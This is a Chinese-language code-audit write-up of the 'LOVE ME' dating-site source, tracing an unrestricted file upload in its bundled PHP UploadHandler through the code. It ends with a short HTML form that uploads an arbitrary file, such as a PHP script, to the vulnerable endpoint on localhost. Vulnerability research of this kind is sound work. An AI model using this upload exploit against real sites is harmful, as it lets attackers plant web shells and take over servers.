LOVE ME交友源码代码审计

起因

https://www.t00ls.net/viewthread.php?tid=56414

漏洞分析

入口 Public/Inner/Js/uploader/server/php/index.php

<?php

error_reporting(E_ALL | E_STRICT);
require('UploadHandler.php');
$upload_handler = new UploadHandler();

关键代码 Public/Inner/Js/uploader/server/php/UploadHandler.php

初始化操作:

<?php

class UploadHandler
{

    protected $options;

    protected $error_messages = array(
        //忽略
    );

    protected $image_objects = array();

    function __construct($options = null, $initialize = true, $error_messages = null) {
        $this->options = array(
            'script_url' => $this->get_full_url().'/',
            'upload_dir' => dirname($this->get_server_var('SCRIPT_FILENAME')).'/files/',
            'upload_url' => $this->get_full_url().'/files/',
            'user_dirs' => false,
            'mkdir_mode' => 0755,
            'param_name' => 'files',
            'delete_type' => 'DELETE',
            'access_control_allow_origin' => '*',
            'access_control_allow_credentials' => false,
            'access_control_allow_methods' => array(
                'OPTIONS',
                'HEAD',
                'GET',
                'POST',
                'PUT',
                'PATCH',
                'DELETE'
            ),
            'access_control_allow_headers' => array(
                'Content-Type',
                'Content-Range',
                'Content-Disposition'
            ),
            'download_via_php' => false,
            'readfile_chunk_size' => 10 * 1024 * 1024, // 10 MiB
            'inline_file_types' => '/\.(gif|jpe?g|png)$/i',
            'accept_file_types' => '/.+$/i',
            'max_file_size' => null,
            'min_file_size' => 1,
            'max_number_of_files' => null,
            'image_file_types' => '/\.(gif|jpe?g|png)$/i',
            'correct_image_extensions' => false,
            'max_width' => null,
            'max_height' => null,
            'min_width' => 1,
            'min_height' => 1,
            'discard_aborted_uploads' => true,
            'image_library' => 1,
            'convert_bin' => 'convert',
            'identify_bin' => 'identify',
            'image_versions' => array(
                '' => array(
                    'auto_orient' => true
                ),
                'thumbnail' => array(
                    'max_width' => 80,
                    'max_height' => 80
                )
            )
        );
        if ($options) {
            $this->options = $options + $this->options; //初始化配置
        }
        if ($error_messages) {
            $this->error_messages = $error_messages + $this->error_messages; // 初始化错误信息
        }
        if ($initialize) {
            $this->initialize(); //初始化操作
        }
    }

    protected function initialize() {
          // 根据HTTP请求方法调用函数
        switch ($this->get_server_var('REQUEST_METHOD')) {
            case 'OPTIONS':
            case 'HEAD':
                $this->head();
                break;
            case 'GET':
                $this->get();
                break;
            case 'PATCH':
            case 'PUT':
            case 'POST':
                $this->post();
                break;
            case 'DELETE':
                $this->delete();
                break;
            default:
                $this->header('HTTP/1.1 405 Method Not Allowed');
        }
    }

跟进 post 函数:

public function post($print_response = true) {
    /* 忽略 */
    $upload = isset($_FILES[$this->options['param_name']]) ?
        $_FILES[$this->options['param_name']] : null;
    $file_name = $this->get_server_var('HTTP_CONTENT_DISPOSITION') ?
        rawurldecode(preg_replace(
            '/(^[^"]+")|("$)/',
            '',
            $this->get_server_var('HTTP_CONTENT_DISPOSITION')
        )) : null;
    $content_range = $this->get_server_var('HTTP_CONTENT_RANGE') ?
        preg_split('/[^0-9]+/', $this->get_server_var('HTTP_CONTENT_RANGE')) : null;
    $size =  $content_range ? $content_range[3] : null;
    $files = array();
      /* 上传文件 */
    if ($upload && is_array($upload['tmp_name'])) {
        foreach ($upload['tmp_name'] as $index => $value) {
            $files[] = $this->handle_file_upload(
                $upload['tmp_name'][$index],
                $file_name ? $file_name : $upload['name'][$index],
                $size ? $size : $upload['size'][$index],
                $upload['type'][$index],
                $upload['error'][$index],
                $index,
                $content_range
            );
        }
    } else {
        $files[] = $this->handle_file_upload(
            isset($upload['tmp_name']) ? $upload['tmp_name'] : null,
            $file_name ? $file_name : (isset($upload['name']) ?
                    $upload['name'] : null),
            $size ? $size : (isset($upload['size']) ?
                    $upload['size'] : $this->get_server_var('CONTENT_LENGTH')),
            isset($upload['type']) ?
                    $upload['type'] : $this->get_server_var('CONTENT_TYPE'),
            isset($upload['error']) ? $upload['error'] : null,
            null,
            $content_range
        );
    }
    return $this->generate_response(
        array($this->options['param_name'] => $files),
        $print_response
    );
}

跟进 handle_file_upload 函数:

protected function handle_file_upload($uploaded_file, $name, $size, $type, $error,
        $index = null, $content_range = null) {
    $file = new \stdClass();
    $file->name = $this->get_file_name($uploaded_file, $name, $size, $type, $error,
        $index, $content_range); // 获取文件名,可能存在过滤
    $file->size = $this->fix_integer_overflow(intval($size));
    $file->type = $type;
    // 验证文件,可能存在过滤
    if ($this->validate($uploaded_file, $file, $error, $index)) {
          // 保存文件
        $this->handle_form_data($file, $index);
        $upload_dir = $this->get_upload_path();
        if (!is_dir($upload_dir)) {
            mkdir($upload_dir, $this->options['mkdir_mode'], true);
        }
        $file_path = $this->get_upload_path($file->name);
        $append_file = $content_range && is_file($file_path) &&
            $file->size > $this->get_file_size($file_path);
        if ($uploaded_file && is_uploaded_file($uploaded_file)) {
            if ($append_file) {
                file_put_contents(
                    $file_path,
                    fopen($uploaded_file, 'r'),
                    FILE_APPEND
                );
            } else {
                move_uploaded_file($uploaded_file, $file_path);
            }
        } else {
            file_put_contents(
                $file_path,
                fopen('php://input', 'r'),
                $append_file ? FILE_APPEND : 0
            );
        }
        $file_size = $this->get_file_size($file_path, $append_file);
        if ($file_size === $file->size) {
            $file->url = $this->get_download_url($file->name);
            if ($this->is_valid_image_file($file_path)) {
                $this->handle_image_file($file_path, $file);
            }
        } else {
            $file->size = $file_size;
            if (!$content_range && $this->options['discard_aborted_uploads']) {
                unlink($file_path);
                $file->error = $this->get_error_message('abort');
            }
        }
        $this->set_additional_file_properties($file);
    }
    return $file;
}
第一个过滤点:

跟进 get_file_name 函数:

protected function get_file_name($file_path, $name, $size, $type, $error,
        $index, $content_range) {
    $name = $this->trim_file_name($file_path, $name, $size, $type, $error,
        $index, $content_range);
    return $this->get_unique_filename(
        $file_path,
        $this->fix_file_extension($file_path, $name, $size, $type, $error,
            $index, $content_range), // 修复文件后缀,跟进函数进行分析
        $size,
        $type,
        $error,
        $index,
        $content_range
    );
}

跟进 fix_file_extension 函数:

protected function fix_file_extension($file_path, $name, $size, $type, $error,
        $index, $content_range) {
    // $name = x.php
      // 使用 strpos 搜索$name是否存在 (.),并匹配 Content-Type 是否为图片类型。
    // x.php 存在 (.),不符合执行条件,跳过。
    if (strpos($name, '.') === false &&
            preg_match('/^image\/(gif|jpe?g|png)/', $type, $matches)) {
        $name .= '.'.$matches[1];
    }
    // $this->options['correct_image_extensions'] 默认为false,不符合执行条件,跳过。
    if ($this->options['correct_image_extensions'] &&
            function_exists('exif_imagetype')) {
        switch(@exif_imagetype($file_path)){
            case IMAGETYPE_JPEG:
                $extensions = array('jpg', 'jpeg');
                break;
            case IMAGETYPE_PNG:
                $extensions = array('png');
                break;
            case IMAGETYPE_GIF:
                $extensions = array('gif');
                break;
        }
        if (!empty($extensions)) {
            $parts = explode('.', $name);
            $extIndex = count($parts) - 1;
            $ext = strtolower(@$parts[$extIndex]);
            if (!in_array($ext, $extensions)) {
                $parts[$extIndex] = $extensions[0];
                $name = implode('.', $parts);
            }
        }
    }
    return $name; // 返回 x.php
}
第二个过滤点:

跟进 validate 函数:

protected function validate($uploaded_file, $file, $error, $index) {
        // 忽略
  
    // 使用正则表达式匹配文件名是否合法
    // 默认配置: 'accept_file_types' => '/.+$/i' ,允许任意后缀,不符合执行条件,跳过。
    if (!preg_match($this->options['accept_file_types'], $file->name)) {
        $file->error = $this->get_error_message('accept_file_types');
        return false;
    }
    // 忽略

利用代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<form enctype="multipart/form-data" action="http://127.0.0.1/Public/Inner/Js/uploader/server/php/index.php" method="post">
    <input type="file" name="files"/>
    <input type="submit" value="上传"/>
</form>
</body>
</html>

发表评论

电子邮件地址不会被公开。 必填项已用*标注